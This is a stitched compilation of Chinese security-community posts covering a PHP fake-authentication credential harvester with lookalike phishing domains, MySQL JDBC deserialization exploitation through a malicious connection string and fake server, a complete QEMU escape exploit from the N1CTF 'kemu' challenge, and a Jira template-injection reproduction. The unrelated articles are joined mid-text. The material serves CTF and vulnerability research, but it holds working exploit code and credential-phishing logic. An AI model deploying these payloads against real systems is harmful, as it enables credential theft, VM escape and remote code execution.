$line = substr_count($all,$ip);
fclose($fp);
}
if($line < 2){
header('WWW-Authenticate: Basic realm="Corporate domain"');
}else{
header('content-type: image/png');
echo file_get_contents("test.png");
}
?>
代码的功能就是弹出认证窗口，等待用户输入，并将输入的账号密码存到count.txt，如果此用户输入已达3次（一次输入可能是随便输入的账号密码），则输出正常图片。演示如下：
当然，你可以自己定义其他功能，比如将账号密码发送到邮箱等等。
php代码写好了，怎么利用呢？
其实我们要做到就是找各种编辑器，找那种可以远程插入图片的，然后插入我们的链接，如果网站直接把链接插入网站，那么在加载的时候，就会加载我们的验证页面。rewrite除了可以让后缀看起来是一个图片文件，其实还可以对一些编辑器进行绕过，比如插入远程图片的时候，编辑器对图片进行预览:
碰到这种情况，我们可以首先使用默认配置的nginx插入图片，如下图：
插入成功并提交以后，再重新修改rewrite。这样可以进行一些绕过。某种情景的攻击如下：
demo:
为了达到更好地效果。攻击者可以注册一个看起来受信任的域名。比如说，如果攻击者的目标是targetdomain.com，那么他就可以注册如下的类似地址：
targetdomain.co
targetdomain.net
target-domain.com
targetdomain-oauth.com
targetdomain-cdn.com
targetdomain-images.com
login-targetdomain.com | 社区文章 |
## 漏洞分析
### 原理
#### POC
String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
#### 关键属性
> **queryInterceptors:**
> 一个逗号分割的Class列表（实现了com.mysql.cj.interceptors.QueryInterceptor接口的Class），在Query”之间”进行执行来影响结果。（效果上来看是在Query执行前后各插入一次操作）
>
> **statementInterceptors**
> :和上面的拦截器作用一致，实现了com.mysql.jdbc.StatementInterceptor接口的Class
>
>
> 到底应该使用哪一个属性，我们可以在对应版本的`com.mysql.jdbc.ConnectionPropertiesImpl`类中搜索，如果存在，就是存在的那个属性
>
> **autoDeserialize:** 自动检测与反序列化存在BLOB字段中的对象。
#### getObject方法的寻找
我们可以关注到`mysql-connnector-java-xxx.jar`包中存在有`ResultSetImpl.getObject()`方法
当然，同样的，在不同的版本下的位置不同，我这里使用的`5.1.48`版本，他的位置在`com.mysql.jdbc.ResultSetImpl`类中
首先他会判断类型，如果是`BIT`类型，就会调用`getObjectDeserializingIfNeeded`方法，跟进
之后他首先会判断`field`是否是`Binary`或者`Blob`
> BLOB (binary large
> object)，二进制大对象，是一个可以存储二进制文件的容器。在计算机中，BLOB常常是数据库中用来存储二进制文件的字段类型
之后取出对应的字节数，并且判断是否开启了`autoDeserialize`, 如果开启了，将会进入if语句继续判断前两个字节是否为`-84`
`-19`这是序列化字符串的标志，hex分别为`AC ED`, 如果满足条件，就会调用对应的`readObject`方法进行反序列化
所以不难发现，如果我们能够控制需要反序列化的数据，就能够进行反序列化漏洞的利用
#### ServerStatusDiffInterceptor拦截器的妙用
我们可以关注到`com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor`这个类，在其中的`populateMapWithSessionStatusValues`方法中，会调用`Util.resultSetToMap(toPopulate,
rs);`方法，进而调用了`java.sql.ResultSet.getObject`方法，形成利用链
//populateMapWithSessionStatusValues
private void populateMapWithSessionStatusValues(Connection connection, Map<String, String> toPopulate) throws SQLException {
java.sql.Statement stmt = null;
java.sql.ResultSet rs = null;
try {
toPopulate.clear();
stmt = connection.createStatement();
rs = stmt.executeQuery("SHOW SESSION STATUS");
Util.resultSetToMap(toPopulate, rs); //调用getObject方法
} finally {
if (rs != null) {
rs.close();
}
if (stmt != null) {
stmt.close();
}
}
}
//Util.resultSetToMap
public static void resultSetToMap(Map mappedValues, java.sql.ResultSet rs) throws SQLException {
while (rs.next()) {
mappedValues.put(rs.getObject(1), rs.getObject(2));
}
}
同样通过idea的`find
Usages`方法找到在`postProcess`方法中调用了`populateMapWithSessionStatusValues`
public ResultSetInternalMethods postProcess(String sql, Statement interceptedStatement, ResultSetInternalMethods originalResultSet, Connection connection)
throws SQLException {
if (connection.versionMeetsMinimum(5, 0, 2)) {
//调用
populateMapWithSessionStatusValues(connection, this.postExecuteValues);
connection.getLog().logInfo("Server status change for statement:\n" + Util.calculateDifferences(this.preExecuteValues, this.postExecuteValues));
}
return null; // we don't actually modify a result set
}
同样在`preProcess`方法中也调用了
在调用链中也可以得到
populateMapWithSessionStatusValues:61, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
preProcess:84, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
preProcess:54, V1toV2StatementInterceptorAdapter (com.mysql.jdbc)
preProcess:65, NoSubInterceptorWrapper (com.mysql.jdbc)
invokeStatementInterceptorsPre:2824, MysqlIO (com.mysql.jdbc)
sqlQueryDirect:2580, MysqlIO (com.mysql.jdbc)
execSQL:2465, ConnectionImpl (com.mysql.jdbc)
execSQL:2439, ConnectionImpl (com.mysql.jdbc)
executeQuery:1365, StatementImpl (com.mysql.jdbc)
loadServerVariables:3775, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3196, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2233, ConnectionImpl (com.mysql.jdbc)
createNewIO:2015, ConnectionImpl (com.mysql.jdbc)
<init>:768, ConnectionImpl (com.mysql.jdbc)
<init>:47, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:425, Util (com.mysql.jdbc)
getInstance:385, ConnectionImpl (com.mysql.jdbc)
connect:323, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:208, DriverManager (java.sql)
main:15, Test (pers.xstream)
在`com.mysql.jdbc.ConnectImpl#loadServerVariables`方法存在需要执行一段`SHOW
VARIABLES`的sql语句
results = stmt.executeQuery(versionComment + "SHOW VARIABLES");
因为在这个版本中的`mysql-connector`使用的是`statementInterceptors`作为在执行SQL语句的拦截器类，所以在`com.mysql.jdbc.MysqlIO#sqlQueryDirect`方法中存在对这个属性值是否存在的判断，如果存在，就调用其中的拦截处理逻辑，不存在就直接放行
进而调用了对应`Interceptor`的`preProcess`方法，如果我们在JDBC连接串中使用的是`ServerStatusDiffInterceptor`作为拦截器，那么就会调用他的`preProcess`方法，进而形成了利用链
**注意** ：在`populateMapWithSessionStatusValues`方法中存在一个执行`SHOW SESSION
STATUS`获取结果的逻辑
rs = stmt.executeQuery("SHOW SESSION STATUS");
我们在恶意Mysql服务端进行处理的时候就可以通过进行`SHOW SESSION
STATUS`或者其他版本的其他标志作为标志，返回我们构造的恶意payload,
使得在后面调用了`UtilresultSetToMap`进行getObject的调用
在`ResultSetImpl#getObject`方法中对mysql服务端返回的数据进行判断，这里是`Types.LONGVARBINARY`类型(长二进制数据),
再然后就是前面提到了`getObject`方法寻找的部分了
#### detectCustomCollations的妙用
在这里我们将环境中的`mysql-connector-java`包改为`5.1.29`版本
来自`chybeta`佬的研究，我们可以关注到`ConnectionImpl#buildCollationMapping`中存在有`Util.resultSetToMap`的调用，能够形成前面所描述的利用链
首先看一下调用栈
buildCollationMapping:1004, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3617, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2550, ConnectionImpl (com.mysql.jdbc)
createNewIO:2320, ConnectionImpl (com.mysql.jdbc)
<init>:834, ConnectionImpl (com.mysql.jdbc)
<init>:46, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:411, Util (com.mysql.jdbc)
getInstance:416, ConnectionImpl (com.mysql.jdbc)
connect:347, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:208, DriverManager (java.sql)
main:16, Test (pers.xstream)
从上面的截图我们可以看到有几个判断条件
1. 需要满足服务端版本要大于`4.1.0` , 而且`detectCustomCollations`需要为`true`
if (versionMeetsMinimum(4, 1, 0) && getDetectCustomCollations())
2. 需要满足大于`5.0.0`，在`5.1.28`不存在这个条件
同样这里获取了执行`SHOW COLLATION`命令的结果集，同样可以作为标志返回恶意payload
只要满足上述条件，就只需要将结果集中的字段 2 或者 3 封装我们的序列化数据就可以成功利用了
## 进行探索
### 过程
在大佬的研究中，提到了，`detectCustomCollations`触发方式在`5.1.40`版本之后不能够利用，因为没有使用`getObject`的方式获取`SHOW
COLLATION`的结果
但是在我的跟踪中，发现了，其实还是可以利用的，虽然这个发现没有什么大用，在高版本不能使用`ServerStatusDiffInterceptor`的时候用用？？
在idea中添加对应版本的包
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.41</version>
</dependency>
在版本对比中，的确在新版本中删掉了`Util.resultSetToMap`的调用
但是却在后面直接调用了`SHOW COLLATION`返回的结果，调用`getObject`方法，这里或许就可以达到我们的利用目的
#### 为什么不能够成功执行
在发现了这个触发位置之后，我使用[工具](https://github.com/fnmsd/MySQL_Fake_Server)进行漏洞利用的时候，发现并不能够成功执行payload,
为什么呢？
我们可以关注到在调用`getObject`的时候
这里是取的第3列的数据，而在大佬的工具中有所描述
> SHOW SESSION STATUS和SHOW COLLATION的公用列是第二列
同时在debug的过程中发现取出的并不是序列化数据，所以我们需要修改工具，使得返回的结果集中第3列是恶意的序列化数据，之后对利用工具进行了深入了解，和构造分析，可以知道在`server.py`中的`handle_server`方法中需要我们对其更改
在图片所指的位置，就是我们返回集的第1，2，3的数据，可以直接改成`content`接收序列化数据，相对的，如果使用的是`config.json`配置文件执行命令的方式，就需要将上面某个的233改为`yso_dict[username]`
之后我们就可以成功利用了
只有直到在`5.1.49`版本中做出了更改，导致不能使用
#### 6.x版本能够利用吗
当然可以，在6.x版本中，他就类似于5.1.41之前的调用`Util.resultSetToMap`,
在这里它使用的是`ResultSetUtil.resultSetToMap`，跟进一下看下逻辑
是不是和之前的差不多，利用：
## 版本区分
### ServerStatusDiffInterceptor
* `5.1.11-6.0.6`使用的是`statementInterceptors`属性，而`8.0`以上使用`queryInterceptors`, 具体属性可以在`ConnectionPropertiesImpl`类中搜索
* `5.1.11`以下，不能通过这种方式利用，因为在`5.1.10`中`Interceptors`的初始化过程在漏洞利用过程之后，将会在利用中，因为找不到`interceptor`而不能够触发成功
<https://github.com/mysql/mysql-connector-j/compare/5.1.10...5.1.11#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL779-L785>
* `5.0.x`没有这个拦截器
### detectCustomCollations
* `8.0.x`不存在getObject方法的调用
* `6.x`能够利用，因为他在`com.mysql.cj.jdbc.ConnectionImpl`中调用了`ResultSetUtil.resultSetToMap`和上面的功能类似，且没有版本判断
* 从`5.1.29`开始启用`detectCustomCollations`属性，但是直到`5.1.49`做出了更改导致不能使用
<https://github.com/mysql/mysql-connector-j/compare/5.1.48...5.1.49#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL911-L914>
在这里值得注意的是，在`5.1.41`做出了更改，不再调用`Util.resultSetToMap`方法，进而调用getObject方法，改为了直接调用`getObject`方法
<https://github.com/mysql/mysql-connector-j/compare/5.1.40...5.1.41#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL944-R936>
* 在`5.1.19 - 5.1.28`过程中，不存在`detectCustomCollations`属性的判断，但是仍然可以调用
<https://github.com/mysql/mysql-connector-j/compare/5.1.28...5.1.29#diff-4c9979a09004e7c2d55d663702c47c61e002e351856b83cda37414a15fb47dcaL986-L1005>
* `5.1.18`以下没有使用`getObject`方法的调用
## 可用连接串
直接对`fnmsd`的研究稍作修改
将其中5.1.41不可用改成`5.1.29`以上只有`5.1.49`不可用，且`6.x`系列都可以使用
## Reference
<https://github.com/fnmsd/MySQL_Fake_Server>
<https://www.anquanke.com/post/id/203086#h2-1>
<https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf> | 社区文章 |
# 2020N1CTF kemu
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
当时N1CTF kemu没做出来，而且没找到详细的writeup，于是前段时间无聊的时候把它翻出来研究了一下。
## Step1：分析设备
查看题目给的lanch.sh
#!/bin/bash
pwd=`pwd`
#./qemu-system-x86_64 \
timeout --foreground 600 ${pwd}/qemu-system-x86_64 \
-initrd ${pwd}/rootfs.img -nographic -kernel ${pwd}/kernel-guest \
-L ${pwd}/pc-bios -append "priority=low console=ttyS0 loglevel=3 kaslr" \
-drive file=${pwd}/nvme.raw,format=raw,if=none,id=Dxx -device nvme,drive=Dxx,serial=1234 \
-monitor /dev/null
设备就是nvme，它是qemu中存在的PCI设备。
在qemu中查看PCI的I/O信息，我第一次在ubuntu16.04上运行，报错为libc.so.6需要libc-2.27.so来运行，因此使用ubuntu18.04运行。`sudo
./lauch.sh`
/home/pwn # lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 0108: 8086:5845 -> nvme
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
搜索资料知道nvme设备的设备号是设备号是5845
/home/pwn # cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource
0x00000000febf0000 0x00000000febf1fff 0x0000000000140204
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x00000000febf3000 0x00000000febf3fff 0x0000000000040200
## Step2：分析函数
用IDA打开qemu-system-x86_64，发现程序被去符号化了，很多函数没有识别出来，而且比赛时没给diff，因此很难定位漏洞函数。可以试着从其他带符号的qemu-system-x86_64程序或者源代码进行对比分析，恢复部分函数名便于分析。
从启动脚本中知道设备是nvme，那么先定位region，从nvme_realize函数初始化的region下手。
注册了nvme_ops内存操作空间，但这题的漏洞不在这里。往下看msix_init_exclusive_bar也利用了这个设备
这里也对这个BAR空间进行了初始化，并调用了msix_init对msix中断机制进行初始化。
__int64 __fastcall msix_init(__int64 a1, unsigned __int16 a2, __int64 table_bar, unsigned __int8 a4, unsigned int table_offset, __int64 pba_bar, unsigned __int8 a7, unsigned int pba_offset, unsigned __int8 a9, __int64 a10)
{
......
result = sub_4F7A70(a1, 0x11u, a9, 12, a10);
if ( result >= 0 )
{
......
sub_4FACA0(a1, a2);
memory_region_init_io(a1 + 0x820, a1, misx_table_mmio_ops, a1, "msix-table", v11);
memory_region_add_subregion(table_bar, table_offset, a1 + 0x820);
memory_region_init_io(a1 + 0x910, a1, msix_pba_mmio_ops, a1, "msix-pba", 0x200LL);
memory_region_add_subregion(pba_bar, pba_offset, a1 + 0x910);
result = 0LL;
}
return result;
}
能发现它们分别注册了msix_table_mmio_ops和msix_pba_mmio_ops到table_bar和pba_bar。
### MSI-X Capability结构的组成方式
MSI-X中断机制中，MSI-X Table structure和PBA
structure存放在设备的BAR空间里，这两个structure可以map到相同BAR，也可以map到不同BAR，但是这个BAR必须是memory
BAR而不能是IO
BAR，也就是说两个structure要map到memory空间。而在这题中`table_bar==pba_bar`，它们同时共享一段mmio内存空间。
现在出现一个问题，它们都映射到同一个BAR空间中，而这段内存大小为0x1000，如何区分两者呢？追溯table_offset和pba_offset可以知道到，table_offset为0，而在msix_init_exclusive_bar函数中可以看到pba_offset>=0x800，在调试中能确定pba_offset就等于0x800。如果环境中的lspci命令支持-v选项应该是可以看到这个参数的，可惜在这题环境中只支持-mk。
__int64 __fastcall msix_table_mmio_read(PCIDevice *a1)
{
int v1; // eax
v1 = *a1->crypt.statu;
if ( v1 == 2 )
return a1->crypt.mode[0];
if ( v1 != 3 )
return v1 == 1;
(*a1->crypt.crypt_func)(&a1->crypt, *a1->crypt.mode, a1->crypt.input, a1->crypt.output);
return 0LL;
}
void __fastcall msix_table_mmio_write(PCIDevice *a1, __int64 a2, char a3, int size)
{
char op; // al
if ( size == 1 )
{
*&op = *a1->crypt.statu;
switch ( *&op )
{
case 2:
*a1->crypt.mode = a3;
break;
case 3:
*a1->crypt.crypt_func = crypt_exe_func;
break;
case 1:
*a1->crypt.statu = a3;
break;
}
}
}
__int64 __usercall msix_pba_mmio_read@<rax>(int a1@<edx>, char a2@<bpl>, PCIDevice *dev@<rdi>, size_t addr@<rsi>)
{
void (__fastcall *v6)(PCIDevice *, __int64, size_t); // rax
size_t v7; // rdx
__int64 v8; // rsi
__int64 result; // rax
int v10; // eax
v6 = *&dev[1].crypt.input[0x20];
if ( v6 )
{
v7 = addr + (8 * a1);
v8 = (8 * addr);
if ( v7 > *&dev->field_0[1156] )
v7 = *&dev->field_0[1156];
v6(dev, v8, v7);
}
if ( addr == 1 )
{
*dev->crypt.statu = 1;
return a2;
}
if ( addr == 2 )
{
*dev->crypt.key = 0LL;
*&dev->crypt.key[120] = 0LL;
memset((&dev->crypt.key[8] & 0xFFFFFFFFFFFFFFF8LL), 0, 8LL * ((dev - ((dev + 1184) & 0xFFFFFFF8) + 1304) >> 3));
*dev->crypt.input = 0LL;
*&dev->crypt.input[120] = 0LL;
memset((&dev->crypt.input[8] & 0xFFFFFFFFFFFFFFF8LL), 0, 8LL * ((dev - ((dev + 1312) & 0xFFFFFFF8) + 1432) >> 3));
*dev->crypt.output = 0LL;
*&dev->crypt.output[120] = 0LL;
memset((&dev->crypt.output[8] & 0xFFFFFFFFFFFFFFF8LL), 0, 8LL * ((dev - ((dev + 1440) & 0xFFFFFFF8) + 1560) >> 3));
return a2;
}
v10 = *dev->crypt.statu;
if ( v10 == 1 )
{
if ( strlen(dev->crypt.key) + 16 > addr )
goto LABEL_12;
result = 0LL;
}
else
{
if ( v10 != 2 )
{
if ( strlen(dev->crypt.output) + 272 <= addr )
return 0LL;
LABEL_12:
if ( a1 == 1 )
return dev->field_0[addr + 0x488];
return 0LL;
}
if ( strlen(dev->crypt.input) + 144 > addr )
goto LABEL_12;
result = 0LL;
}
return result;
}
void __fastcall msix_pba_mmio_write(PCIDevice *opaque, unsigned __int64 addr, char val, int size)
{
int v4; // eax
unsigned __int64 v5; // rsi
if ( size == 1 )
{
v4 = *opaque->crypt.statu;
if ( v4 == 1 )
{
if ( addr <= 0x7F )
opaque->crypt.key[addr] = val;
}
else if ( v4 == 2 )
{
v5 = addr - 0x80;
if ( v5 <= 0x7F )
opaque->crypt.input[v5] = val;
}
}
}
官方赛后在github上放出了diff文件，因此可以对着diff文件分析一下漏洞函数。查看pci_patch.diff和msix_patch.diff文件
--- pci.h 2019-04-24 02:14:46.000000000 +0800
+++ pci_change.h 2020-06-09 11:20:45.639622000 +0800
@@ -317,6 +317,16 @@
/* Space to store MSIX table & pending bit array */
uint8_t *msix_table;
uint8_t *msix_pba;
+
+ struct CryptState{
+ char key[0x80];
+ char input[0x80];
+ char output[0x80];
+ void (*crypt_func)(char *key,int mode,char *input,char *output);
+ int statu;
+ int mode;
+ }crypt;
+ char buf[0x100];
/* MemoryRegion container for msix exclusive BAR setup */
MemoryRegion msix_exclusive_bar;
/* Memory Regions for MSIX table and pending bit entries. */
--- msix.c 2019-04-24 02:14:45.000000000 +0800
+++ msix_change.c 2020-10-16 14:20:52.271587000 +0800
@@ -174,24 +174,96 @@
}
}
+static void crypt_en_func(char *key,char *input,char *output){
+ int len = strlen(input);
+ int len_key = strlen(key);
+ int i=0;
+ if(len_key == 0 || len == 0){
+ return;
+ }
+ while(len){
+ output[i] = input[i]^key[i%len_key];
+ i += 1;
+ len -= 1;
+ }
+}
+
+static void crypt_de_func(char *key,char *input,char *output){
+ int len = strlen(input);
+ int len_key = strlen(key);
+ int i=0;
+ if(len_key == 0 || len == 0){
+ return;
+ }
+ while(len){
+ output[i] = input[i]^key[i%len_key];
+ i += 1;
+ len -= 1;
+ }
+}
+
+static void crypt_exe_func(char *key,int mode,char *input,char *output){
+ switch(mode){
+ case 1:
+ crypt_en_func(key,input,output);
+ break;
+ case 2:
+ crypt_de_func(key,input,output);
+ break;
+ default:
+ break;
+ }
+}
+
static uint64_t msix_table_mmio_read(void *opaque, hwaddr addr,
unsigned size)
{
PCIDevice *dev = opaque;
- return pci_get_long(dev->msix_table + addr);
+ char value;
+ switch(dev->crypt.statu){
+ case 1:
+ value = dev->crypt.statu;
+ break;
+ case 2:
+ value = dev->crypt.mode;
+ break;
+ case 3:
+ dev->crypt.crypt_func(dev->crypt.key,dev->crypt.mode,dev->crypt.input,dev->crypt.output);
+ break;
+ default:
+ break;
+ }
+ return value;
+ //return pci_get_long(dev->msix_table + addr);
}
static void msix_table_mmio_write(void *opaque, hwaddr addr,
uint64_t val, unsigned size)
{
PCIDevice *dev = opaque;
- int vector = addr / PCI_MSIX_ENTRY_SIZE;
- bool was_masked;
+ //int vector = addr / PCI_MSIX_ENTRY_SIZE;
+ //bool was_masked;
- was_masked = msix_is_masked(dev, vector);
- pci_set_long(dev->msix_table + addr, val);
- msix_handle_mask_update(dev, vector, was_masked);
+ //was_masked = msix_is_masked(dev, vector);
+ //pci_set_long(dev->msix_table + addr, val);
+ //msix_handle_mask_update(dev, vector, was_masked);
+ if(size == 1){
+ char value = val;
+ switch(dev->crypt.statu){
+ case 1:
+ dev->crypt.statu = value;
+ break;
+ case 2:
+ dev->crypt.mode = value;
+ break;
+ case 3:
+ dev->crypt.crypt_func = crypt_exe_func;
+ break;
+ default:
+ break;
+ }
+ }
}
static const MemoryRegionOps msix_table_mmio_ops = {
@@ -214,12 +286,64 @@
dev->msix_vector_poll_notifier(dev, vector_start, vector_end);
}
- return pci_get_long(dev->msix_pba + addr);
+ char value;
+ switch(addr){
+ case 1:
+ dev->crypt.statu = 1;
+ break;
+ case 2:
+ memset(dev->crypt.key,0,0x80);
+ memset(dev->crypt.input,0,0x80);
+ memset(dev->crypt.output,0,0x80);
+ break;
+ default:
+ if(dev->crypt.statu == 1){
+ if(addr >= 0x10 + strlen(dev->crypt.key) || (size != 1)){
+ return 0;
+ }
+ value = dev->crypt.key[addr-0x10];
+ }
+ else if(dev->crypt.statu == 2){
+ if(addr >= 0x90 + strlen(dev->crypt.input) || (size != 1)){
+ return 0;
+ }
+ value = dev->crypt.input[addr-0x90];
+ }
+ else{
+ if(addr >= 0x110 + strlen(dev->crypt.output) || (size != 1)){
+ return 0;
+ }
+ value = dev->crypt.output[addr-0x110];
+ }
+ break;
+ }
+ return value;
+ //return pci_get_long(dev->msix_pba + addr);
}
static void msix_pba_mmio_write(void *opaque, hwaddr addr,
uint64_t val, unsigned size)
{
+ PCIDevice *dev = opaque;
+ if(size == 1){
+ char value = val;
+ switch(dev->crypt.statu){
+ case 1:
+ if(addr >= 0x80){
+ return;
+ }
+ dev->crypt.key[addr] = value;
+ break;
+ case 2:
+ if(addr < 0x80 || addr >= 0x100){
+ return;
+ }
+ dev->crypt.input[addr-0x80] = value;
+ break;
+ default:
+ break;
+ }
+ }
}
static const MemoryRegionOps msix_pba_mmio_ops = {
@@ -288,7 +412,8 @@
}
table_size = nentries * PCI_MSIX_ENTRY_SIZE;
- pba_size = QEMU_ALIGN_UP(nentries, 64) / 8;
+ //pba_size = QEMU_ALIGN_UP(nentries, 64) / 8;
+ pba_size = 0x200;
/* Sanity test: table & pba don't overlap, fit within BARs, min aligned */
if ((table_bar_nr == pba_bar_nr &&
通过分析，得出其各部分功能
1、crypt_en_func/crypt_de_func：使用strlen函数获取input和key数组的长度，进行抑或后将结果赋值给ouput
2、crypt_exe_func：调用crypt_en_func/crypt_de_func函数
3、msix_table_mmio_read：
* statu=1时，返回statu
statu=2时，返回mode
statu=3时，调用crypt_func函数指针
4、msix_table_mmio_write：size=1
* statu=1时，statu=value更新状态statu
statu=2时，mode=value
statu=3时，将crypt_func赋值为crypt_exe_func指针
5、 msix_pba_mmio_read：
* addr=1时，statu=1
addr=2时，初始化key、input、output
else：size=1
* statu=1时，判断addr是否大于等于strlen(key)，符合的话就返回key[addr-0x10]
statu=2时，判断addr是否大于等于strlen(input)，符合的话就返回input[addr-0x90]
else，判断addr是否大于等于strlen(output)，符合的话就返回output[addr-0x110]
注意key、input、ouput大小都为0x80，所以可以认为他们起始的地址都是key[addr-0x10]
6.、msix_pba_mmio_write：size=1
* statu=1时，判断addr大小，key[addr]=value
statu=2时，判断addr大小，input[addr-0x80]=value
通过以上分析可以看出漏洞点
* crypt_en_func/crypt_de_func函数使用strlen获取数组长度，若key和input数组填满，可以将output溢出到crypt_func
* msix_pba_mmio_read函数中，同样使用的是strlen判断数组长度，因此可以泄露读取crypt_func函数地址
利用思路为
1. 将key和input数组填满，调用crypt_en_func填满output数组，泄露crypt_func函数指针，计算得到system函数地址
2. 将key和input数组填满，溢出覆盖crypt_func函数指针为system函数
3. 在key数组中写入”cat flag“指令，并调用crypt_func函数
## Step3：编写exp
在覆盖crypt_func函数指针时，写入的值是通过key与output前8个字节进行抑或得到的，而output是通过key与input前8个字节得到的，也就是说我们写入的addr是通过key两次抑或的结果。我们知道，`value^key^key==value`，因此如果0x80是key的长度与8的公倍数，必然会导致addr=input，但是这样一来strlen(input)<0x80，就不能导致溢出覆盖。所以我设置一个长度为6的key数组，最后得到的addr计算方法如下：
offset = 0x80%6 #offset = 2
addr = system ^ (key[:]+key[:2]) ^ (key[2:]+key[:4])
假设`key[6] = {1,2,3,4,5,6}`，那么`addr = system ^ 0x0201060504030201 ^
0x0403020106050403`
调试命令
#获取 qemu进程pid
$ ps -ax | grep qemu
$ sudo gdb -q
pwndbg > file qemu-system-x86_64
pwndbg > attach [PID]
#获取程序基址
pwndbg > vmmap
pwndbg > b *[elf_base+0x4FA2D2]
pwndbg > c
加解密前
加解密后
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
uint32_t mmio_size = 0x1000;
unsigned char* mmio_mem;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void mmio_write(uint32_t addr, uint8_t value)
{
*((uint8_t *)(mmio_mem + addr)) = value;
}
uint8_t mmio_read(uint32_t addr)
{
return *((uint8_t*)(mmio_mem + addr));
}
void set_statu(uint8_t value)
{
mmio_read(0x800+1);
mmio_write(0,value);
}
void set_cryptfunc(){
set_statu(3);
mmio_write(0,0);
}
void call_cryptfunc(){
set_statu(3);
mmio_read(0);
}
void set_mode(uint8_t value){
set_statu(2);
mmio_write(0,value);
}
void set_key(uint32_t addr, uint8_t value)
{
mmio_read(0x800+1);
mmio_write(addr+0x800,value);
}
void set_input(uint32_t addr, uint8_t value)
{
set_statu(2);
mmio_write(addr+0x800+0x80,value);
}
void reset(){
mmio_read(0x800+2);
}
char get_key(uint32_t addr){
set_statu(1);
return mmio_read(addr+0x800+0x10);
}
char get_input(uint32_t addr){
set_statu(2);
return mmio_read(addr+0x800+0x90);
}
char get_output(uint32_t addr){
set_statu(3);
return mmio_read(addr+0x800+0x110);
}
int main(int argc, char *argv[])
{
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource4", O_RDWR | O_SYNC);
if (fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap( NULL, mmio_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd,0 );
if ( !mmio_mem ) {
die("mmap mmio failed");
}
//Step1: leak func addr
char buf[0x10]={0};
set_key(0,0x41);
for(int i=0;i<0x80;i++){
set_input(i,0x62);
}
set_cryptfunc();
set_mode(1);
call_cryptfunc();//0x4FA2D2
for(int i=0;i<8;i++){
buf[i] = get_output(i+0x80);
}
size_t elf_base = *((size_t*)buf) - 0x4fa470;
printf("ELF base = %p\n",elf_base);
size_t system = elf_base+0x2A6BB0;
//Step2: change func ptr -> system
set_key(0,0x1);
set_key(1,0x2);
set_key(2,0x3);
set_key(3,0x4);
set_key(4,0x5);
set_key(5,0x6);
size_t tmp_addr = system^0x0201060504030201^0x0403020106050403;
for(int i=0;i<0x8;i++){
uint8_t tmp= tmp_addr>>(i*8);
set_input(i,tmp);
}
call_cryptfunc();
//Step3：write cat /flag to key
set_key(0,0x63);
set_key(1,0x61);
set_key(2,0x74);
set_key(3,0x20);
set_key(4,0x2f);
set_key(5,0x66);
set_key(6,0x6c);
set_key(7,0x61);
set_key(8,0x67);
call_cryptfunc();
return 0;
}
成功实现qemu逃逸
## 总结
首先感谢V1NKe大佬给我分享一些做qemu的思路。一般先定位region，从realize函数初始化的region下手；或者可以从设备的具体作用及其与其他机制间的交互联系下手进行定位分析。
## Reference
[MSI-X介绍](https://blog.csdn.net/linjiasen/article/details/105858038)
[msix_patch.diff](https://github.com/Nu1LCTF/n1ctf-2020/blob/main/PWN/Kemu/Source/msix_patch.diff)
[linux里的nvme驱动代码分析](https://blog.csdn.net/panzhenjie/article/details/51581063) | 社区文章 |
# 漏洞概述
Atlassian官方发布了一则漏洞通报
<https://jira.atlassian.com/browse/JSDSERVER-8665>
从描述中可以看出，该漏洞是一个服务端模板渲染漏洞，需要Jira Administrator权限，影响版本如下：
* version < 4.13.9
* 4.14.0 ≤ version < 4.18.0
# 漏洞复现
下载JiraService Management 4.17.1版本并安装 ，配置SMTP服务器。
使用管理员登录，进入system/EmailTemplates下载当前模板。
修改并替换header.vm文件。
$jirautils.loadComponent('java.lang.Runtime',$i18n.getClass())
进入System/SendEmail发送邮件。
选择邮件用户。
接受邮件，可以看到错误执行结果。
为标准的SPEL表达式注入，参考公开资料，注入命令执行载荷。
